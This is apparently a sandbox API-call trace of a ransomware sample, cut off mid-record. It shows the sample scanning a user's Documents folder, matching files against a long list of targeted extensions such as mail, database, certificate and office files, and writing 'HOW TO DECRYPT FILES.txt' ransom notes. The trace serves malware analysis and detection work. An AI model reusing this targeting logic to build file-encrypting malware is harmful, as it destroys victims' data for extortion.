(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.qbw") returned 0 [0089.299] lstrlenA (lpString="*.qbw") returned 5 [0089.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.qbb") returned 0 [0089.299] lstrlenA (lpString="*.qbb") returned 5 [0089.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.qbm") returned 0 [0089.299] lstrlenA (lpString="*.qbm") returned 5 [0089.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.qbo") returned 0 [0089.299] lstrlenA (lpString="*.qbo") returned 5 [0089.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.qbx") returned 0 [0089.299] lstrlenA (lpString="*.qbx") returned 5 [0089.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.qba") returned 0 [0089.299] lstrlenA (lpString="*.qba") returned 5 [0089.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.qby") returned 0 [0089.299] lstrlenA (lpString="*.qby") returned 5 [0089.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.qbj") returned 0 [0089.299] lstrlenA (lpString="*.qbj") returned 5 [0089.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.ofx") returned 0 [0089.300] lstrlenA (lpString="*.ofx") returned 5 [0089.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.qif") returned 0 [0089.300] lstrlenA (lpString="*.qif") returned 5 [0089.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.mye") returned 0 [0089.300] lstrlenA (lpString="*.mye") returned 5 [0089.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.mbox") returned 0 [0089.300] lstrlenA (lpString="*.mbox") returned 6 [0089.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.eml") returned 0 [0089.300] lstrlenA (lpString="*.eml") returned 5 [0089.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.pst") returned 0 [0089.300] lstrlenA (lpString="*.pst") returned 5 [0089.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.ost") returned 0 [0089.300] lstrlenA (lpString="*.ost") returned 5 [0089.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.idx") returned 0 [0089.300] lstrlenA (lpString="*.idx") returned 5 [0089.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.dbx") returned 0 [0089.300] lstrlenA (lpString="*.dbx") returned 5 [0089.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.sql") returned 0 [0089.301] lstrlenA (lpString="*.sql") returned 5 [0089.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.mdb") returned 0 [0089.301] lstrlenA (lpString="*.mdb") returned 5 [0089.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.fdb") returned 0 [0089.301] lstrlenA (lpString="*.fdb") returned 5 [0089.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.wab") returned 0 [0089.301] lstrlenA (lpString="*.wab") returned 5 [0089.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.dat") returned 0 [0089.301] lstrlenA (lpString="*.dat") returned 5 [0089.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.txt") returned 0 [0089.301] lstrlenA (lpString="*.txt") returned 5 [0089.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.jpeg") returned 0 [0089.301] lstrlenA (lpString="*.jpeg") returned 6 [0089.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.jpg") returned 0 [0089.301] lstrlenA (lpString="*.jpg") returned 5 [0089.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.png") returned 0 [0089.301] lstrlenA (lpString="*.png") returned 5 [0089.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.php") returned 0 [0089.302] lstrlenA (lpString="*.php") returned 5 [0089.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.cs") returned 0 [0089.302] lstrlenA (lpString="*.cs") returned 4 [0089.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.cpp") returned 0 [0089.302] lstrlenA (lpString="*.cpp") returned 5 [0089.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.rar") returned 0 [0089.302] lstrlenA (lpString="*.rar") returned 5 [0089.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.zip") returned 0 [0089.302] lstrlenA (lpString="*.zip") returned 5 [0089.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.html") returned 0 [0089.302] lstrlenA (lpString="*.html") returned 6 [0089.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.htm") returned 0 [0089.302] lstrlenA (lpString="*.htm") returned 5 [0089.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.xlsx") returned 0 [0089.302] lstrlenA (lpString="*.xlsx") returned 6 [0089.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.xls") returned 0 [0089.302] lstrlenA (lpString="*.xls") returned 5 [0089.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.mp4") returned 0 [0089.303] lstrlenA (lpString="*.mp4") returned 5 [0089.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.ppt") returned 0 [0089.303] lstrlenA (lpString="*.ppt") returned 5 [0089.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.pptx") returned 0 [0089.303] lstrlenA (lpString="*.pptx") returned 6 [0089.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.doc") returned 0 [0089.303] lstrlenA (lpString="*.doc") returned 5 [0089.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.dot") returned 0 [0089.303] lstrlenA (lpString="*.dot") returned 5 [0089.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.docx") returned 0 [0089.303] lstrlenA (lpString="*.docx") returned 6 [0089.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.7z") returned 0 [0089.303] lstrlenA (lpString="*.7z") returned 4 [0089.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.tar") returned 0 [0089.303] lstrlenA (lpString="*.tar") returned 5 [0089.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.bz2") returned 0 [0089.304] lstrlenA (lpString="*.bz2") returned 5 [0089.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.gz") returned 0 [0089.304] lstrlenA (lpString="*.gz") returned 4 [0089.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.mkv") returned 0 [0089.304] lstrlenA (lpString="*.mkv") returned 5 [0089.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.eml") returned 0 [0089.304] lstrlenA (lpString="*.eml") returned 5 [0089.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.msg") returned 0 [0089.304] lstrlenA (lpString="*.msg") returned 5 [0089.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.edb") returned 0 [0089.304] lstrlenA (lpString="*.edb") returned 5 [0089.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.accdb") returned 0 [0089.304] lstrlenA (lpString="*.accdb") returned 7 [0089.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.odb") returned 0 [0089.304] lstrlenA (lpString="*.odb") returned 5 [0089.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.java") returned 0 [0089.305] lstrlenA (lpString="*.java") returned 6 [0089.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.asm") returned 0 [0089.305] lstrlenA (lpString="*.asm") returned 5 [0089.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.pfx") returned 0 [0089.305] lstrlenA (lpString="*.pfx") returned 5 [0089.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.pem") returned 0 [0089.305] lstrlenA (lpString="*.pem") returned 5 [0089.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.p12") returned 0 [0089.305] lstrlenA (lpString="*.p12") returned 5 [0089.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.gpg") returned 0 [0089.305] lstrlenA (lpString="*.gpg") returned 5 [0089.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.vsd") returned 0 [0089.305] lstrlenA (lpString="*.vsd") returned 5 [0089.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.odg") returned 0 [0089.305] lstrlenA (lpString="*.odg") returned 5 [0089.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.raw") returned 0 [0089.305] lstrlenA (lpString="*.raw") returned 5 [0089.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.nef") returned 0 [0089.306] lstrlenA (lpString="*.nef") returned 5 [0089.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.svg") returned 0 [0089.306] lstrlenA (lpString="*.svg") returned 5 [0089.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.psd") returned 0 [0089.306] lstrlenA (lpString="*.psd") returned 5 [0089.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.vmx") returned 0 [0089.306] lstrlenA (lpString="*.vmx") returned 5 [0089.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.vmdk") returned 0 [0089.306] lstrlenA (lpString="*.vmdk") returned 6 [0089.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.vdi") returned 0 [0089.306] lstrlenA (lpString="*.vdi") returned 5 [0089.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.lay6") returned 0 [0089.306] lstrlenA (lpString="*.lay6") returned 6 [0089.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.mpeg") returned 0 [0089.306] lstrlenA (lpString="*.mpeg") returned 6 [0089.307] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.djvu") returned 0 [0089.307] lstrlenA (lpString="*.djvu") returned 6 [0089.307] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.tiff") returned 0 [0089.307] lstrlenA (lpString="*.tiff") returned 6 [0089.307] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.backup") returned 0 [0089.307] lstrlenA (lpString="*.backup") returned 8 [0089.307] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.pdf") returned 0 [0089.307] lstrlenA (lpString="*.pdf") returned 5 [0089.307] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.cert") returned 0 [0089.307] lstrlenA (lpString="*.cert") returned 6 [0089.307] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.docm") returned 0 [0089.307] lstrlenA (lpString="*.docm") returned 6 [0089.307] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.xlsm") returned 0 [0089.307] lstrlenA (lpString="*.xlsm") returned 6 [0089.308] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.dwg") returned 0 [0089.308] lstrlenA (lpString="*.dwg") returned 5 [0089.308] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.nd") returned 0 [0089.308] lstrlenA (lpString="*.nd") returned 4 [0089.308] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.tlg") returned 0 [0089.308] lstrlenA (lpString="*.tlg") returned 5 [0089.308] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.lgb") returned 0 [0089.308] lstrlenA (lpString="*.lgb") returned 5 [0089.308] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.mov") returned 0 [0089.308] lstrlenA (lpString="*.mov") returned 5 [0089.308] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.xdw") returned 0 [0089.308] lstrlenA (lpString="*.xdw") returned 5 [0089.308] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.ods") returned 0 [0089.308] lstrlenA (lpString="*.ods") returned 5 [0089.308] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.wav") returned 0 [0089.308] lstrlenA (lpString="*.wav") returned 5 [0089.308] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.mp3") returned 0 [0089.309] lstrlenA (lpString="*.mp3") returned 5 [0089.309] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.aiff") returned 0 [0089.309] lstrlenA (lpString="*.aiff") returned 6 [0089.309] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.flac") returned 0 [0089.309] lstrlenA (lpString="*.flac") returned 6 [0089.309] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.m4a") returned 0 [0089.309] lstrlenA (lpString="*.m4a") returned 5 [0089.309] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.csv") returned 0 [0089.309] lstrlenA (lpString="*.csv") returned 5 [0089.309] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x730d4770, ftCreationTime.dwHighDateTime=0x1d5e7b3, ftLastAccessTime.dwLowDateTime=0xa16e3f0, ftLastAccessTime.dwHighDateTime=0x1d5dd42, ftLastWriteTime.dwLowDateTime=0xa16e3f0, ftLastWriteTime.dwHighDateTime=0x1d5dd42, nFileSizeHigh=0x0, nFileSizeLow=0x186ef, dwReserved0=0x20004f, dwReserved1=0x450044, cFileName="Z5A40A.pptx", cAlternateFileName="Z5A40A~1.PPT")) returned 1 [0089.309] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0089.309] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Z5A40A.pptx") returned -1 [0089.309] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Z5A40A.pptx") returned -1 [0089.309] lstrcmpiA (lpString1="", lpString2="Z5A40A.pptx") returned -1 [0089.309] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp") returned="v0aW9_D.odp" [0089.309] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\" [0089.310] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\") returned="" [0089.310] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\HOW TO DECRYPT FILES.txt" [0089.310] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\-qzfo-7_wu9ncnjygjks\\how to decrypt files.txt")) returned 0x20 [0089.310] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\", 